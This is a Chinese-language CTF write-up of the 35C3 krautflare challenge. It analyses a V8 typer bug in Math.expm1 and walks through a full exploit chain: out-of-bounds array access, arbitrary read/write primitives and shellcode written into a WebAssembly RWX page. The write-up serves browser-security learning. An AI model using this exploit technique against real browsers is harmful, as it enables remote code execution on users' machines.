35C3 krautflare exploit

0x00 前言

最近我在学习浏览器利用,就找了 35C3 的题目练习了一下。在看别人的 writeup 的时候,我发现很多文章的思维跨度都好大,作为小白就得花很长时间去理解为什么这么做。此文记录了一些我做这道题学到的东西。

0x01 漏洞分析

这题是根据 https://bugs.chromium.org/p/project-zero/issues/detail?id=1710 这个 bug 改编的, 官方对这个bug 的patch 有两处,分别是https://cs.chromium.org/chromium/src/v8/src/compiler/typer.cc?rcl=9680338c622d4693f984b49fb24d101acd2d8112&l=1437https://cs.chromium.org/chromium/src/v8/src/compiler/operation-typer.cc?rcl=9680338c622d4693f984b49fb24d101acd2d8112&l=420 。 而题目中的是将typer.cc 的patch 进行了还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
+ case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
- case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:
case BuiltinFunctionId::kMathLog:
case BuiltinFunctionId::kMathLog1p:
...

在 v8 中, -0和0不相等, -0是float, 而MathExpm1的返回类型则被设置成Union(PlainNumber或NaN),PlainNumber 指-0 除外的浮点数。

使用题目给的poc进行测试, 发现-0 和 Math.expm1(-0) 的结果是true, 按道理 float 和 plainNumber/NaN 是不相等的,这就需要我们分析一下优化过程中出现了什么问题。

1
2
3
4
5
6
7
8
9
10
// ./d8 poc.js --allow-natives-syntax
function foo(x) {
return Object.is(Math.expm1(x), -0);
}

console.log(foo(0));
%OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));
// false
// true

v8 提供了 --trace-turbo 命令用于跟踪优化过程,同时在v8的代码中提供了Turbolizer工具来浏览优化过程。我在分析的时候发现https://v8.github.io/tools/head/turbolizer/index.html 也提供了一样的能力,这样就不需要自己手动打开这个工具了。

v8 的优化过程如下图:

从图中我们可以看到, typeing会发生在TyperPhaes, LoadEliminationPhase和SimplifiedLoweringPhase 阶段, 另外在TypedLoweringPhase和LoadEliminationPhase阶段还会进行常量折叠操作。

上面这张图中,我们直接观察simplified lowering 阶段, 发现Math.expm1被替换为了Float64Expm1, 也就是说这个时候 -0 和 Math.expm1(-0) 结果是一样的, 那为什么会这么转换呢? 因为在我们第一个foo(0) 之后进行优化, v8 以为以为我们所有的输入都是0,所以当优化完成后,我们在用-0 的时候,返回值也是-0, 这个时候自然就是true了。

那要如何才能去掉 Float64Expm1 呢? 很简单,我们只要传入一个错误的类型就行,比如string, 让v8以为我们还有别的输入,这样优化过程就不能直接用float64Expm1 代替。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
./d8 poc.js --allow-natives-syntax
function foo(x){

let res = Object.is(Math.expm1(x), -0);

return res;
}

print("foo(0) : "+foo(0));
%OptimizeFunctionOnNextCall(foo);
print("foo(-0) : "+foo(-0));
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0) : "+foo(0));
print("foo(-0) : "+foo(-0));
//foo(0) : false
//foo(-0) : true
//foo(0) : false
//foo(-0) : false

这个时候,我们就触发了bug。

准备利用

由poc 可以知道 现在foo(-0) 函数一定是返回false,但光是false 并没什么用,得想办法转化成别的形式。
于是就相到用数组来实现oob

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function foo(x){

let oob = [1.1, 1.2, 1.3, 1.4];
let idx = Object.is(Math.expm1(x), -0);
idx *= 1337;

return oob[idx];
}

print("foo(0) : "+foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0) : "+foo(0));
print("foo(-0) : "+foo(-0));
//foo(0) : 1.1
//foo(0) : 1.1
//foo(-0) : 1.1

从图中可以发现,idx 始终为0, 并且没有CheckBounds node。

这个过程中,我们知道Object.is 是可以返回true的,所以,如果v8 优化成false的时候,我们idx 为 1就可以实现oob了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function foo(x, y){

let idx = Object.is(Math.expm1(x), y);
let oob = [1.1, 1.2, 1.3, 1.4];
idx *= 1337;

return oob[idx];
}

print("foo(0) : "+foo(0, -0));
%OptimizeFunctionOnNextCall(foo);
foo("0", -0);
%OptimizeFunctionOnNextCall(foo);
print("foo(0) : "+foo(0, -0));
print("foo(-0) : "+foo(-0, -0));
//foo(0) : 1.1
//foo(0) : 1.1
//foo(-0) : undefined

继续测试发现传两个参数的形式也不行,最后还是因为存在CheckBound节点无法实现oob。于是我们就想到能不能在Escape Analyze 做点手脚。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

function foo(x){

let aux = {mz:-0};
let idx = Object.is(Math.expm1(x), aux.mz);
let oob = [1.1, 1.2, 1.3, 1.4];
idx *= 1337;

return oob[idx];
}

print("foo(0) : "+foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0) : "+foo(0));
print("foo(-0) : "+foo(-0));
//foo(0) : 1.1
//foo(0) : 1.1
//foo(-0) : -1.1885946300594787e+148

这个时候我们发现, 我们成功去掉了CheckBound节点,至于为什么还是需要回归到v8的优化路线上。

LoadEliminationPhase 阶段的Turbolizer 分析流程图,此时tmp.escapeVar为LoadField[+24],SameValue并不知道它为-0,所以返回值为Boolean,范围为0或1,后续数组的访问范围为(0,1337),CheckBounds的检查范围也为(0,1337)。

EscapeAnalysis 阶段:LoadField[+24] 节点变成了NumberConstant[-0],并且EscapeAnalysis 后不再进行常量折叠,所以不直接返回false。

SimplifiedLoweringPhase阶段,去掉了CheckBound节点,因为进行typing 后,v8认为SameValue 返回的永远 是false ,后面访问不会越界,于是将CheckBound 去掉。

这样我们就实现了数组的越界读写

利用

直接利用exp 来讲解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);

function f2i(f)
{
float64[0] = f;
let tmp = Array.from(Uint32);
return tmp[1] * 0x100000000 + tmp[0];
}

function i2f(i)
{
let tmp = [];
tmp[0] = parseInt(i % 0x100000000);
tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
Uint32.set(tmp);
return float64[0];
}

function hex(i)
{
return i.toString(16).padStart(16, "0");
}


function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;
%DebugPrint(wasm_function);
// %SystemBreak();
console.log("goood")
// %SystemBreak();
var float_array;
var obj = [];
var data_buf;

function foo_exp(x) {
let tmp = {escapeVar: -0};
let idx = Object.is(Math.expm1(x), tmp.escapeVar);
console.log(idx);
idx *= 11; // 通过调试可以发现 这个11 是 3 + 2 + 3 + 3 ,可以使用pwndbg 调试
var a = [1.1, 2.2, 3.3];
float_array = [4.4, 5.5, 6.6];
data_buf = new ArrayBuffer(0x233);
// %DebugPrint(data_buf);
// %SystemBreak();
obj = {mark: i2f(0xdeadbeef), obj: wasm_function};
a[idx] = i2f(0x0000100000000000);
if(float_array.length == 4096){
console.log("good length is ok");
// %DebugPrint(float_array);
// %SystemBreak();
}
}

foo_exp(0);
%OptimizeFunctionOnNextCall(foo_exp);
foo_exp("0");
// for(let i=0; i<10000; i++){
// foo_exp("0");
// }
%OptimizeFunctionOnNextCall(foo_exp);
console.log("goood");
foo_exp(-0);
console.log("[+] float_array.length: 0x" + hex(float_array.length));

var float_obj_idx = 0 ;
for(var i = 0; i< 0x400; i++){
if(f2i(float_array[i]) == 0xdeadbeef){
float_obj_idx = i + 1;
console.log("[+] find wasm_function obj : 0x" + hex(f2i(float_array[float_obj_idx])));
break;
}
}

//------ find backing_store
var data_view = new DataView(data_buf);
var float_buffer_idx = 0;
for(let i=0; i < 0x1000; i++)
{
if(f2i(float_array[i]) == 0x233){
float_buffer_idx = i + 1;
console.log("[+] find data_buf backing_store : 0x" + hex(f2i(float_array[float_buffer_idx])));
break;
}
}


//----- arbitrary read
function dataview_read64(addr)
{
float_array[float_buffer_idx] = i2f(addr);
return f2i(data_view.getFloat64(0, true));
}

//----- arbitrary write
function dataview_write(addr, payload)
{
float_array[float_buffer_idx] = i2f(addr);
for(let i=0; i < payload.length; i++)
{
data_view.setUint8(i, payload[i]);
}
}



//----- get wasm_code by AAR

var wasm_function_addr = f2i(float_array[float_obj_idx]);
console.log("[+] wasm_function_addr: 0x"+hex(wasm_function_addr));
// %DebugPrint(wasm_function_addr);
// %SystemBreak();
var wasm_shared_info = dataview_read64(wasm_function_addr -1 + 0x18);
console.log("[+] find wasm_shared_info : 0x" + hex(wasm_shared_info));

var wasm_data = dataview_read64(wasm_shared_info -1 + 0x8);
console.log("[+] find wasm_data : 0x" + hex(wasm_data));

var wasm_instance = dataview_read64(wasm_data -1 + 0x10);
console.log("[+] find wasm_instance : 0x" + hex(wasm_instance));

var wasm_rwx = dataview_read64(wasm_instance - 1 + 0xe8);
console.log("[+] find wasm_rwx : 0x" + hex(wasm_rwx));


//write shellcode to wasm
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

dataview_write(wasm_rwx, shellcode);

wasm_function();

第一阶段, 利用越界读写,在数组后面布置float数组,这样越界的时候就可以修改float_array 数组的长度,我们可以使用float_array 进行越界读。

第二阶段, 利用越界读,找到标记好的wasm_functon对象地址

第三阶段,找到data_buf->backing_store, 这是ArrayBuffer 特有的一个字段,找到后,就可以根据arraybuffer 构造读写原语了。

最后, 根据wasm_function–>shared_info–>WasmExportedFunctionData(data)–>instance+0xe8 找到rwx的区域,将shellcode写入该区域即可。在另一份exp 中发现,也能 wasm_function -> shared_info -> mapped_pointer -> start_of_rwx_space 这样获取rxw地址。

总结

这次还是学到了不少的东西,特别是写文章的时候,发现好多知识都还没串起来,有些也是似懂非懂,所以这块还是要多学习,多练习。

ref

https://7o8v.me/2019/10/30/35C3-CTF-krautflare-exploit/
https://de4dcr0w.github.io/35c3ctf-Krautflare%E5%88%86%E6%9E%90.htm